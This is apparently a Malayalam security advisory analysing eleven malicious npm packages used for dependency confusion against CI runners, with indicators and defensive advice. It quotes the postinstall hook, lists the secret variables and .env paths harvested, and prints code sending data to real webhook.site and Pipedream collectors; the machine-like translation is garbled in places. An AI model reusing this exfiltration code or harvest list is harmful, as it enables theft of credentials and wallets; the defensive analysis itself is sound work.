ക്രിപ്‌റ്റോഡിഎഒ ആശയക്കുഴപ്പം: എൻ‌പി‌എം പാക്കേജുകളുടെ വിളവെടുപ്പ് CI/CD ക്രിപ്‌റ്റോ രഹസ്യങ്ങളും

ക്രിപ്‌റ്റോഡിഎഒ ആശയക്കുഴപ്പം: പതിനൊന്ന് എൻ‌പി‌എം പാക്കേജുകൾ, ഒരു പേലോഡ്, വിളവെടുപ്പ് CI/CD ക്രിപ്‌റ്റോ-വാലറ്റ് രഹസ്യങ്ങളും

ഉള്ളടക്ക പട്ടിക

നിർബന്ധമായും വായിക്കേണ്ട പോസ്റ്റുകൾ

താൽപ്പര്യമുള്ള ഏറ്റവും പുതിയ പോസ്റ്റുകൾ

അച്ചു ഡി.ആർ.

2026-06-17-ന്, ഒരൊറ്റ npm അക്കൗണ്ട് പ്രസിദ്ധീകരിച്ചു. ഒരു ഉദ്ദേശ്യവും ഒരു പേലോഡും പങ്കിടുന്ന പതിനൊന്ന് പാക്കേജുകൾ. അവരിൽ പത്ത് പേർ വഹിക്കുന്നത് cryptodao- ഉപസർഗ്ഗം (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); പതിനൊന്നാമത്തേത് സ്കോപ്പ് ചെയ്തതാണ് @public-for-cdao/core. ഓരോന്നും പതിപ്പിൽ പ്രസിദ്ധീകരിച്ചു 99.99.99 കൂടാതെ ഒരു ബൈറ്റ്-സമാനമായ ഷിപ്പ് ചെയ്യുന്നു recon.js അത് ഓടുന്നു postinstall.

പേരുകൾ തന്നെയാണ് പ്രധാനം. ഒരു ക്രിപ്‌റ്റോ/ഡിഎഒ പ്രോജക്റ്റിന്റെ സ്വകാര്യ ടൂൾചെയിനിന്റെ ആന്തരിക നിർമ്മാണ ബ്ലോക്കുകൾ പോലെയാണ് അവ വായിക്കുന്നത്. കൃത്രിമമായി ഉയർന്ന പതിപ്പിൽ പബ്ലിക് എൻ‌പി‌എം രജിസ്ട്രിയിൽ പ്രസിദ്ധീകരിച്ച അവർ ഒരു ബിൽഡിനായി കാത്തിരിക്കുന്നു. pipeline ആ പേരുകൾ പരിഹരിക്കുന്നതിനായി കോൺഫിഗർ ചെയ്‌തിരിക്കുന്നതും സ്വകാര്യ രജിസ്ട്രിക്ക് മുമ്പോ പകരം - പൊതു npm-ൽ എത്തുന്നതുമാണ്. ഇത് ആശ്രിതത്വ ആശയക്കുഴപ്പം, പേലോഡ് അത് ഇറങ്ങാൻ പ്രതീക്ഷിക്കുന്നിടത്ത് കൃത്യമായി ട്യൂൺ ചെയ്തിരിക്കുന്നു: CI/CD റണ്ണേഴ്സ്.

എപ്പോൾ postinstall തീപിടുത്തങ്ങൾ, recon.js ഹോസ്റ്റ് വിശദാംശങ്ങൾ ശേഖരിക്കുന്നു, ഏകദേശം സ്വൈപ്പ് ചെയ്യുന്നു നാൽപ്പത് ക്ലൗഡ്, CI, ക്രിപ്‌റ്റോ-വാലറ്റ് പരിസ്ഥിതി വേരിയബിളുകൾ, ഏതെങ്കിലും വായിക്കുന്നു .env ഫയലുകൾ കണ്ടെത്തി രഹസ്യമായി കൈമാറാൻ കഴിയും, തുടർന്ന് ബണ്ടിൽ രണ്ട് കളക്ടർമാർക്ക് കൈമാറുന്നു — webhook.site കൂടാതെ ഒരു പൈപ്പ്ഡ്രീം എൻഡ്‌പോയിന്റ് — TLS സർട്ടിഫിക്കറ്റ് പരിശോധന പ്രവർത്തനരഹിതമാക്കി. ഒരു പകർപ്പ് താഴെയും എഴുതിയിരിക്കുന്നു /tmp.

തീവ്രത: ഉയര്ന്ന. ബാധിച്ച ആവാസവ്യവസ്ഥ: npm. എഴുതുന്ന സമയത്ത് പതിനൊന്ന് പാക്കേജുകളും തത്സമയമായിരുന്നു.

ആക്രമണ ശരീരഘടന

ഈ സംവിധാനത്തിന് നാല് ചലിക്കുന്ന ഭാഗങ്ങളാണുള്ളത്, ഒരിക്കൽ നിങ്ങൾക്കറിയാമെങ്കിൽ അവയൊന്നും സൂക്ഷ്മമല്ല. പാക്കേജ് പേരിന് അപ്പുറം ഒരു ലെയർ നോക്കുക.

1. ഒരു റിസോൾവർ ലൂറായി പതിപ്പ് പണപ്പെരുപ്പം. ഓരോ പാക്കേജും പതിപ്പ് പ്രഖ്യാപിക്കുന്നു 99.99.99. ഒരു പാക്കേജ് മാനേജർ ആവശ്യപ്പെടുമ്പോൾ ആശ്രിതത്വ ആശയക്കുഴപ്പം പ്രവർത്തിക്കുന്നു, ആന്തരിക നാമം, പൊതു രജിസ്ട്രി പരിശോധിക്കുകയും ഏറ്റവും ഉയർന്ന പതിപ്പ് തിരഞ്ഞെടുക്കുകയും ചെയ്യുന്നു കണ്ടെത്തുന്നു. ഒരു കാരറ്റ് അല്ലെങ്കിൽ വൈൽഡ്കാർഡ് ശ്രേണിക്കായുള്ള npm-ന്റെ ഡിഫോൾട്ട് തിരഞ്ഞെടുപ്പ് ആണ് കോൺഫിഗർ ചെയ്‌ത എല്ലാ ഉറവിടങ്ങളിലുമുള്ള ഏറ്റവും തൃപ്തികരമായ പതിപ്പ്; രണ്ടും സ്വകാര്യമാണെങ്കിൽ രജിസ്ട്രിയിലും പബ്ലിക് npm ഉത്തരത്തിലും ഒരേ പേരുണ്ടെങ്കിൽ, വലിയ പതിപ്പ് നമ്പർ വിജയിക്കും. A 99.99.99 ഒരു പ്രോജക്റ്റിന് ഉണ്ടായിരിക്കാവുന്ന ഏതൊരു യഥാർത്ഥ ആന്തരിക പതിപ്പിനെയും അടിസ്ഥാനപരമായി മറികടക്കുന്നു എത്തി, അതിനാൽ സ്വകാര്യ ഉറവിടത്തിലേക്ക് പിൻ ചെയ്തിട്ടില്ലാത്ത ഒരു റിസോൾവർ ഇഷ്ടപ്പെടുന്നത് പബ്ലിക് — ഈ സാഹചര്യത്തിൽ, ശത്രുതാപരമായ — പകർപ്പ്. ഓപ്പറേറ്റർക്ക് അറിയേണ്ട ആവശ്യമില്ല ടാർഗെറ്റിന്റെ യഥാർത്ഥ പതിപ്പ് നമ്പറുകൾ; അസംബന്ധമായ പരമാവധി തിരഞ്ഞെടുക്കുന്നത് എല്ലായ്പ്പോഴും സമനില ഉറപ്പാക്കുന്നു അവരുടെ വഴി മുറിക്കുന്നു.

2. ഒരു പോസ്റ്റ്ഇൻസ്റ്റാൾ ട്രിഗർ. package.json ഇൻസ്റ്റാളിലേക്ക് പേലോഡ് വയർ ചെയ്യുന്നു ജീവിത ചക്രം:

{   "scripts": { "postinstall": "node recon.js" } }

പാക്കേജ് ഇറക്കുമതി ചെയ്യേണ്ട ആവശ്യമില്ല. അത് ഇൻസ്റ്റാൾ ചെയ്യുക മാത്രം - അത് ഒരു CI ആണ്. pipeline യാന്ത്രികമായി ചെയ്യുന്നു — പ്രവർത്തിക്കുന്നു recon.js - ക്ലിക്കിലൂടെ.

3. വിശാലമായ ഒരു രഹസ്യ അന്വേഷണം. recon.js - ക്ലിക്കിലൂടെ ഫലങ്ങളുടെ ഒരു ശ്രേണി ഘട്ടങ്ങളായി കൂട്ടിച്ചേർക്കുന്നു:

  • ഹോസ്റ്റ് സന്ദർഭം: ഹോസ്റ്റ്നാമം, പ്ലാറ്റ്‌ഫോം, റിലീസ്, ആർക്കിടെക്ചർ, ഉപയോക്തൃനാമം, പ്രവർത്തിക്കുന്നത് ഡയറക്ടറി.
  • പരിസ്ഥിതി വേരിയബിളുകൾ: ഇത് ഏകദേശം നാൽപ്പത് പേരുകളുടെയും റെക്കോർഡുകളുടെയും ഒരു നിശ്ചിത പട്ടിക ആവർത്തിക്കുന്നു. സജ്ജീകരിച്ചിരിക്കുന്ന ഏതെങ്കിലും. പട്ടിക വെളിപ്പെടുത്തുന്നതാണ് - ഇത് പൊതുവായ CI ടോക്കണുകളെ ജോടിയാക്കുന്നു (സിഐ_ജോബ്_ടോക്കൺ, സിഐ_രജിസ്ട്രേഷൻ_പാസ്‌വേഡ്, GITLAB_ACCESS_TOKEN) മേഘവും യോഗ്യതാപത്രങ്ങൾ (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_സെഷൻ_ടോക്കൺ) രജിസ്ട്രി, കണ്ടെയ്നർ രഹസ്യങ്ങൾക്കൊപ്പം (NPM_ടോക്കൺ, ഡോക്കർ_പാസ്‌വേഡ്, ഹാർബർ_പാസ്‌വേഡ്) കൂടാതെ വ്യക്തമായ ഒരു ക്രിപ്‌റ്റോ-ഫ്ലേവർ ക്ലസ്റ്ററും:  സ്വകാര്യത_കീ, മെമ്മോണിക്, സീഡ്_ഫ്രേസ്, ഇൻഫുറ_എപിഐ_കീ, ആൽക്കെമി_എപിഐ_കീ, എഥിലി_ആർപിസി, ബി.എസ്.സി.ആർ.പി.സി.. രേഖപ്പെടുത്തിയ മൂല്യങ്ങൾ ആദ്യത്തെ 50 പ്രതീകങ്ങളായി ചുരുക്കിയിരിക്കുന്നു.
  • .എംവ് ഫയലുകൾ: ഇത് പാതകളുടെ ഒരു ലിസ്റ്റ് പരിശോധിക്കുന്നു — .എംവ്, ../.env (ഇൻവി), /ആപ്പ്/.env, /ആപ്പ്/ബാക്കെൻഡ്/.env, /ആപ്പ്/ബോട്ട്/.env, /home/gitlab-runner/.env, /റൂട്ട്/.env, ഒപ്പം .പ്രൊഡക്ഷൻ/.വികസനം വേരിയന്റുകൾ — നിലവിലുള്ള ഏതൊരു ഫയലിനും, അത് ഉള്ളടക്കങ്ങൾ പൊരുത്തപ്പെടുന്ന വരികളിലേക്ക് ഫിൽട്ടർ ചെയ്യുന്നു. കീ|രഹസ്യം|ടോക്കൺ|പാസ്|പ്രൈവറ്റ്|മെമ്മോണിക് കൂടാതെ ആ വരികൾ **പൂർണ്ണമായും, വെട്ടിച്ചുരുക്കാതെ** ഫലങ്ങളിലേക്ക് തള്ളിവിടുന്നു.
  • ബിൽഡ്-ഹോസ്റ്റ് സന്ദർഭം: ഇത് ആദ്യത്തെ 20 എൻട്രികൾ പട്ടികപ്പെടുത്തുന്നു /നിർമിക്കുന്നു/, /ഹോം/ഗിറ്റ്ലാബ്-റണ്ണർ/ബിൽഡ്സ്/, /var/lib/gitlab-runner/, ഒപ്പം / tmp /.

പാത്ത് ലിസ്റ്റും വേരിയബിൾ ലിസ്റ്റും GitLab റണ്ണേഴ്സിലേക്ക് വെയ്റ്റ് ചെയ്തിരിക്കുന്നു, അത് ചൂണ്ടിക്കാണിക്കുന്നു ഒരു ഡെവലപ്പറെക്കാൾ സ്വയം ഹോസ്റ്റ് ചെയ്ത CI ഇൻഫ്രാസ്ട്രക്ചറിലെ പേലോഡ് കൃത്യമായി ലാപ്‌ടോപ്പ്. വിളവെടുപ്പ് പട്ടികയെ വിഭാഗമനുസരിച്ച് തരംതിരിക്കുന്നത് ഉദ്ദേശിച്ച കവർച്ചയെ വ്യക്തമാക്കുന്നു:

വർഗ്ഗം വേരിയബിളുകൾ / എത്തിയ പാതകൾ
CI/CD ഐഡന്റിറ്റി & ഡിപ്ലോയ്മെന്റ് CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
മേഘം AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
രജിസ്ട്രിയും കണ്ടെയ്‌നറും NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
ഡാറ്റ സ്റ്റോറുകൾ DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
ക്രിപ്‌റ്റോ / ബ്ലോക്ക്‌ചെയിൻ PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
മെസ്സേജിംഗ് SLACK_TOKEN, DISCORD_TOKEN
ഡിസ്കിൽ .env കുടുംബം + /home/gitlab-runner/.env, /root/.env, /app/**/.env; ഡയറക്ടറി ലിസ്റ്റിംഗുകൾ /builds/, /var/lib/gitlab-runner/

ഒരു പൊതുവായ സിഐ-രഹസ്യത്തിൽ നിന്ന് ഇതിനെ വേർതിരിക്കുന്ന ഭാഗമാണ് ക്രിപ്‌റ്റോ ക്ലസ്റ്റർ. സ്വീപ്പ്: വാലറ്റ് സീഡ് ശൈലികളും സൈനിംഗ് കീകളും ഒരു പരിതസ്ഥിതിയിൽ മാത്രമേ ദൃശ്യമാകൂ ബ്ലോക്ക്‌ചെയിൻ പ്രോജക്റ്റ്, അവ നേരിട്ട് മാപ്പ് ചെയ്യുന്നു ക്രിപ്‌റ്റോഡാവോ-/അടയാളം/കരാറുകൾ കാരിയറുകളുടെ പേരിടൽ.

4. സ്ഥിരീകരണം പ്രവർത്തനരഹിതമാക്കിയ ഡ്യുവൽ എക്‌സ്‌ഫിൽട്രേഷൻ. ശേഖരിച്ച ശ്രേണി സീരിയലൈസ് ചെയ്‌ത് രണ്ട് സ്ഥലങ്ങളിലേക്ക് പോസ്റ്റ് ചെയ്‌തു:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

അംഗീകാരമില്ലാത്തത് നിരസിക്കുക: തെറ്റ് ഔട്ട്‌ബൗണ്ടിനായുള്ള TLS സർട്ടിഫിക്കറ്റ് പരിശോധനകൾ ഓഫാക്കുന്നു. കോളുകൾ. അതേ ഡാറ്റ stdout-ലേക്ക് പ്രിന്റ് ചെയ്യുന്നു (അതിനാൽ ഇത് CI ജോബ് ലോഗുകളിലും എത്തുന്നു) കൂടാതെ എഴുതിയത് /tmp/.npm_recon_ (ടൈപ്പ്ലൈൻ) .ജെസൺപിശകുകൾ നിശബ്ദമായി വിഴുങ്ങുന്നു, അതിനാൽ ഒരു പരാജയപ്പെട്ട അയയ്ക്കൽ ഇൻസ്റ്റോൾ ഔട്ട്പുട്ടിൽ ഒരൊറ്റ അടയാളം മാത്രമേ അവശേഷിപ്പിക്കുന്നുള്ളൂ. [റീകോൺ] ഇൻസ്റ്റാൾ ചെയ്തത് ലൈൻ.

ഫയലിലെ ഒരു പ്രമുഖ കമന്റ് ഇതിനെ "ആശ്രിതത്വ ആശയക്കുഴപ്പം" എന്ന് വിശേഷിപ്പിക്കുന്നു. "റക്കണൈസൻസ് പേലോഡ്." പരിസ്ഥിതി മൂല്യങ്ങളെ 50 പ്രതീകങ്ങളായി ചുരുക്കിയത് ഒരു ആശയ തെളിവിന്റെ രൂപം. സാന്നിധ്യം മാത്രമുള്ള ഒരു ബീക്കണിന് അപ്പുറത്തേക്ക് അതിനെ കൊണ്ടുപോകുന്നത് .എംവ് കൈകാര്യം ചെയ്യൽ: രഹസ്യ-ബെയറിംഗ് ലൈനുകൾ പൂർണ്ണമായും ഫോർവേഡ് ചെയ്യപ്പെടുന്നു, ലക്ഷ്യസ്ഥാനങ്ങൾ ഒരു സിങ്ക് മാത്രം കണക്കിലെടുക്കുന്നതിനുപകരം, ആക്രമണകാരി നിയന്ത്രിക്കുന്ന രണ്ട് പ്രവർത്തിക്കുന്ന കളക്ടറുകളാണ് ഹിറ്റുകൾ.

ടൈംലൈൻ

പബ്ലിഷ് പാറ്റേൺ എന്നത് പതിനൊന്ന് സ്ക്രിപ്റ്റഡ് പുഷിന്റെയല്ല, ഒറ്റ സ്ക്രിപ്റ്റഡ് പുഷിന്റെ ഒപ്പാണ്. സ്വതന്ത്ര അപ്‌ലോഡുകൾ.

സമയം (UTC, 2026-06-17) സംഭവം
03:24:58 cryptodao-bot@99.99.99 പ്രസിദ്ധീകരിച്ചു
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — സ്കോപ്പ് ചെയ്ത വേരിയന്റ്, ~24 മിനിറ്റ് കഴിഞ്ഞ്

29 സെക്കൻഡ് ദൈർഘ്യമുള്ള ഒരു വിൻഡോയിൽ പത്ത് പാക്കേജുകൾ പുറത്തുപോയി, ഏകദേശം ഓരോ മൂന്ന് സെക്കൻഡിലും ഒന്ന്. സ്കോപ്പ് ചെയ്ത @public-for-cdao/core ഏകദേശം 24 മിനിറ്റിനുശേഷം പിന്തുടർന്നു - ഒരു സെക്കൻഡ് ഉപഭോഗ പ്രോജക്റ്റ് പരാമർശിക്കുന്ന സാഹചര്യത്തിൽ, അതേ ലക്ഷ്യത്തിനായുള്ള നാമകരണ കൺവെൻഷൻ നഗ്നമായ പേരുകൾ എന്നതിലുപരി ഒരു പരിധിക്ക് കീഴിലുള്ള ആന്തരിക ഉപകരണ ശൃംഖല.

വിട്ടുവീഴ്ചയുടെ സൂചകങ്ങൾ

ടൈപ്പ് ചെയ്യുക സൂചകം
കളക്ടർ hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
കളക്ടർ hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
ഹുക്ക് ഇൻസ്റ്റാൾ ചെയ്യുക postinstall: node recon.js
ഫയൽ ഉപേക്ഷിച്ചു /tmp/.npm_recon_<timestamp>.json
ലോഗ് മാർക്കർ [recon] <pkg>@<ver> installed on <hostname> (CI ലോഗുകളിലെ stdout)
ബിഹേവിയറൽ rejectUnauthorized: false ഇൻസ്റ്റാൾ ചെയ്യുമ്പോൾ ഔട്ട്ബൗണ്ട് HTTPS-ൽ
പേലോഡ് recon.js, പതിനൊന്ന് പാക്കേജുകളിലും സമാനമാണ് (ഒരു പങ്കിട്ട ബിൽഡ്)
പതിപ്പ് 99.99.99 എല്ലാ പാക്കേജിലും
പാക്കേജുകൾ cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (എല്ലാം 99.99.99)
പ്രസാധകൻ aduljune / aduljune@proton.me (ഇമെയിൽ പരിശോധിച്ചിട്ടില്ല, ലിങ്ക് ചെയ്‌ത ഉറവിട ശേഖരണമില്ല)

 ആട്രിബ്യൂഷനും നിരീക്ഷിച്ച പെരുമാറ്റവും

ക്ലസ്റ്ററിനെക്കുറിച്ചുള്ള എല്ലാം ഒരു വശത്തേക്ക് വിരൽ ചൂണ്ടുന്നു. പതിനൊന്ന് പാക്കേജുകളും പ്രസിദ്ധീകരിച്ചു. npm അക്കൗണ്ട് വഴി അഡുൽജൂൺ (aduljune@proton.me (മലയാളം), സ്ഥിരീകരിക്കാത്ത വിലാസം, നമ്പർ ഇല്ലാതെ ലിങ്ക്ഡ് സോഴ്‌സ് റിപ്പോസിറ്ററി), 25 മിനിറ്റിനുള്ളിൽ, അതേ സമയം 99.99.99 പതിപ്പ്, ഷിപ്പിംഗ് എ recon.js - ക്ലിക്കിലൂടെ ഓരോന്നിലും ബൈറ്റ്-ഓർ-ബൈറ്റ് സമാന ഉള്ളടക്കങ്ങളുള്ളവ പാക്കേജ് (എക്സ്ട്രാക്റ്റുചെയ്ത പതിനൊന്ന് പകർപ്പുകളിലും MD5 പൊരുത്തപ്പെടുന്നു). അത് ഒരു പേലോഡാണ്. പേരുകളുടെ ഒരു പട്ടികയിൽ സ്റ്റാമ്പ് ചെയ്തിരിക്കുന്നു, സ്വതന്ത്ര കോഡ് പുനരുപയോഗമല്ല.

നാമ പട്ടിക ഉദ്ദേശിച്ച ലക്ഷ്യത്തെ നിർവചിക്കുന്നു. ക്രിപ്‌റ്റോഡാവോ-* ഒപ്പം cdao വിവരിക്കുക ഒരു ക്രിപ്‌റ്റോ/ഡിഎഒ പ്രോജക്റ്റിന്റെ സ്വകാര്യ മൊഡ്യൂൾ ലേഔട്ടും പേലോഡിന്റെ വിളവെടുപ്പ് പട്ടികയും ഊഹിക്കുന്ന കണ്ണാടികൾ: പൊതുവായ CI, ക്ലൗഡ് രഹസ്യങ്ങൾക്കൊപ്പം, അത് പ്രത്യേകിച്ചും എത്തിച്ചേരുന്നു സ്വകാര്യത_കീ, മെമ്മോണിക്, സീഡ്_ഫ്രേസ്, കൂടാതെ Ethereum/BSC RPC യും ദാതാവിന്റെ കീകൾ. .എംവ് സെർച്ച് പാത്തുകളും ഡയറക്ടറി ലിസ്റ്റിംഗുകളും GitLab-റണ്ണറാണ് നിർദ്ദിഷ്ടം. നിരീക്ഷിക്കാവുന്ന പ്രഭാവം ഏതെങ്കിലും pipeline ഇവ ഇൻസ്റ്റാൾ ചെയ്യാൻ കബളിപ്പിക്കപ്പെട്ടു പേരുകൾ അതിന്റെ CI ടോക്കണുകൾ, ക്ലൗഡ് കീകൾ, ഓൺ-ഡിസ്ക് എന്നിവ ഫോർവേഡ് ചെയ്യും .എംവ് രഹസ്യങ്ങൾ — കൂടാതെ, ഒരു ബ്ലോക്ക്‌ചെയിൻ പ്രോജക്റ്റ്, അതിന്റെ വാലറ്റ് മെറ്റീരിയൽ - രണ്ട് മൂന്നാം കക്ഷി കളക്ടർമാർക്ക്.

അക്കൗണ്ട് ആരാണ് പ്രവർത്തിപ്പിക്കുന്നത് എന്നോ അക്കൗണ്ട് ഉപയോഗിച്ച് അവർ എന്തുചെയ്യാൻ പദ്ധതിയിട്ടിരുന്നു എന്നോ ഞങ്ങൾ ഒരു അവകാശവാദവും ഉന്നയിക്കുന്നില്ല. ഡാറ്റ. സ്വന്തമായി നിലനിൽക്കുന്ന വസ്തുതകൾ: പേരുകൾ ഒരു പ്രത്യേക തരം ലക്ഷ്യമിടുന്നു ആന്തരിക ടൂൾചെയിൻ, പേലോഡ് യഥാർത്ഥ രഹസ്യ മൂല്യങ്ങൾ വായിക്കുകയും കൈമാറുകയും ചെയ്യുന്നു, കൂടാതെ അടിസ്ഥാന സൗകര്യങ്ങൾ സജീവമായിരുന്നു.

ആഘാതം, പ്രവണതകൾ, പ്രതിരോധ മാർഗ്ഗനിർദ്ദേശം

ആശ്രിതത്വ ആശയക്കുഴപ്പം റിസോൾവർ സ്വഭാവത്തെ ചൂഷണം ചെയ്യുന്നതിനാൽ ഇത് ഫലപ്രദമാണ്, a അല്ല ഏതൊരു പാക്കേജിലും ദുർബലത. ഇവിടെ കാരിയർ നിസ്സാരമാണ് - പതിനൊന്ന് ഏതാണ്ട് ശൂന്യമാണ് പാക്കേജുകൾ — പക്ഷേ സ്ഫോടന ദൂരം എന്തായാലും pipeline തെറ്റായി പബ്ലിക് npm തിരഞ്ഞെടുത്തു. ഒരു ആന്തരിക നാമത്തിന്. അത് സംഭവിക്കാൻ ഏറ്റവും മോശം സ്ഥലമാണ് CI റണ്ണേഴ്സ്: അവർ വിശ്വസിക്കുന്നു കൃത്യമായി ടോക്കണുകളും .എംവ് ഈ പേലോഡ് ഫയലുകൾ വായിക്കുകയും അവ ഇൻസ്റ്റാൾ ചെയ്യുകയും ചെയ്യുന്നു ആശ്രിതത്വങ്ങൾ സംവേദനാത്മകമല്ല, അതിനാൽ a പോസ്റ്റ്ഇൻസ്റ്റാൾ ചെയ്യുക ആരും കാണാതെ ഓടുന്നു.

ഈ ക്ലസ്റ്റർ നമ്മൾ കാണുന്ന ഒരു പാറ്റേണിനും യോജിക്കുന്നു: നിലവിലുള്ള ഇൻസ്റ്റാൾ-ടൈം പേലോഡുകൾ യഥാർത്ഥ ക്രെഡൻഷ്യൽ ശേഖരണം നടത്തുമ്പോൾ "ഗവേഷണം" അല്ലെങ്കിൽ "റക്കണൈസൻസ്" ആയി. ലേബൽ ഫയലിൽ, ഒരു റണ്ണറിൽ കോഡ് ചെയ്യുന്ന കാര്യങ്ങൾ മാറുന്നില്ല. രണ്ട് ഡിസൈൻ ചോയ്‌സുകൾ നിലനിൽക്കും. പ്രവർത്തനം നിശബ്ദം: എല്ലാ നെറ്റ്‌വർക്കും ഫയൽസിസ്റ്റം പ്രവർത്തനവും ഒരു പിശകുകൾ നിരസിക്കുന്ന എക്‌സെപ്‌ഷൻ ഹാൻഡ്‌ലർ, അതിനാൽ ബ്ലോക്ക് ചെയ്‌ത അയയ്‌ക്കൽ അല്ലെങ്കിൽ നഷ്‌ടമായ ഫയൽ ഡയഗ്നോസ്റ്റിക് ഔട്ട്‌പുട്ട് ഒന്നും ഉത്പാദിപ്പിക്കുന്നില്ല, കൂടാതെ അച്ചടിച്ച ഒരേയൊരു കാര്യം നിരുപദ്രവകരമാണ് [റീകോൺ] … ഇൻസ്റ്റാൾ ചെയ്തു സാധാരണ ഇൻസ്റ്റാൾ ചാറ്ററുമായി ഇഴുകിച്ചേരുന്ന വരി. ഉപയോഗം വെബ്‌ഹുക്ക്.സൈറ്റ് പൈപ്പ്ഡ്രീം മനഃപൂർവ്വമായ സൗകര്യവുമാണ് - രണ്ടും സൗജന്യമാണ്, തൽക്ഷണം അഭ്യർത്ഥന-ക്യാപ്‌ചർ സേവനങ്ങൾ നൽകുന്നതിനാൽ, ഓപ്പറേറ്റർക്ക് സെർവറുകൾ ആവശ്യമില്ല. എഗ്രസ് ലോഗുകളിൽ അവയുടേതും ലക്ഷ്യസ്ഥാനങ്ങളും സാധാരണ SaaS ഹോസ്റ്റ്നെയിമുകൾ പോലെ കാണപ്പെടുന്നു.

സാമ്പത്തികശാസ്ത്രമാണ് ഇതിനെ ഒരു പ്രതിരോധക്കാരന്റെ ശ്രദ്ധ അർഹിക്കുന്നത്, എന്നിരുന്നാലും കാരിയർ കോഡ് നിസ്സാരമാണ്. പതിനൊന്ന് പേരുകൾ രജിസ്റ്റർ ചെയ്യുന്നതിന് ഒരു ചെലവും ഇല്ല, പേലോഡ് ഒന്നാണ് ഫയൽ പതിനൊന്ന് തവണ പകർത്തി, പാക്കേജ് മാനേജർ എല്ലാ എക്സിക്യൂഷനും ചെയ്യുന്നു. ഒരു സിംഗിൾ തെറ്റായി കോൺഫിഗർ ചെയ്‌തു pipeline ഈ പേരുകളിൽ ഒന്ന് ഉപയോഗിക്കുന്ന എവിടെയും മുഴുവൻ പേരിനും വില നൽകുന്നു ഓപ്പറേഷൻ.

പ്രതിരോധക്കാർക്കുള്ള കോൺക്രീറ്റ് ഘട്ടങ്ങൾ:

  • നിങ്ങളുടെ സ്വകാര്യ രജിസ്ട്രിയിലേക്ക് ആന്തരിക സ്കോപ്പുകൾ പിൻ ചെയ്യുക. npm കോൺഫിഗർ ചെയ്യുക, അങ്ങനെ ആന്തരിക നാമങ്ങൾ
     കൂടാതെ സ്കോപ്പുകൾ നിങ്ങളുടെ രജിസ്ട്രിക്കെതിരെ മാത്രമേ പരിഹരിക്കൂ (സ്കോപ്പ് ചെയ്ത .npmrc രജിസ്ട്രി മാപ്പിംഗുകൾ,
    അല്ലെങ്കിൽ ഉടമസ്ഥതയിലുള്ള നെയിംസ്‌പെയ്‌സുകൾക്കായി പബ്ലിക് npm-ലേക്ക് ഒരിക്കലും വരാത്ത ഒരു പ്രോക്സി). നിങ്ങളുടെ പബ്ലിക് സ്കോപ്പ് പേരുകൾ മറ്റാർക്കും രജിസ്റ്റർ ചെയ്യാൻ കഴിയാത്തവിധം റിസർവ് ചെയ്യുക.
  • Commit ലോക്ക്ഫയലുകൾ പ്രവർത്തിപ്പിച്ച് –ignore-scripts ഉപയോഗിച്ച് ഇൻസ്റ്റാൾ ചെയ്യുക. CI-യിൽ സാധ്യമാകുന്നിടത്ത്, അല്ലെങ്കിൽ ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റുകൾ യഥാർത്ഥത്തിൽ ആവശ്യമുള്ള ചെറിയ ഡിപൻഡൻസികളുടെ കൂട്ടം പരിശോധിക്കുക.  recon.js പ്രവർത്തിപ്പിക്കാൻ കഴിയില്ലെങ്കിൽ പോസ്റ്റ്ഇൻസ്റ്റാൾ ചെയ്യുക നടപ്പിലാക്കിയിട്ടില്ല.
  • ആന്തരികമായി തോന്നുന്ന ഒരു പേരിന്റെ 99.99.99 (അല്ലെങ്കിൽ മറ്റ് അസംബന്ധമായി ഉയർന്ന) പതിപ്പ് പരിഗണിക്കുക. ഒരു ചുവന്ന പതാക പോലെ ആശ്രിതത്വ അവലോകനത്തിലും രജിസ്ട്രി നിരീക്ഷണത്തിലും.
  • ഇൻസ്റ്റാളേഷൻ സമയ പുറത്തേക്കുള്ള അറിയിപ്പ്. A പോസ്റ്റ്ഇൻസ്റ്റാൾ ചെയ്യുക അത് ഒരു ഔട്ട്ബൗണ്ട് HTTPS തുറക്കുന്നു കണക്ഷൻ — പ്രത്യേകിച്ച് സർട്ടിഫിക്കറ്റ് പരിശോധന പ്രവർത്തനരഹിതമാക്കിയിരിക്കുമ്പോൾ — എന്നതിലേക്ക് webhook.site, Pipedream, അല്ലെങ്കിൽ സമാനമായ റിക്വസ്റ്റ്-ക്യാപ്ചർ സേവനങ്ങൾ നെറ്റ്‌വർക്കിന്റെ അരികിൽ ബ്ലോക്ക് ചെയ്ത് ബിൽഡ് ലോഗുകളിൽ ഫ്ലാഗ് ചെയ്യുന്നത് മൂല്യവത്താണ്.
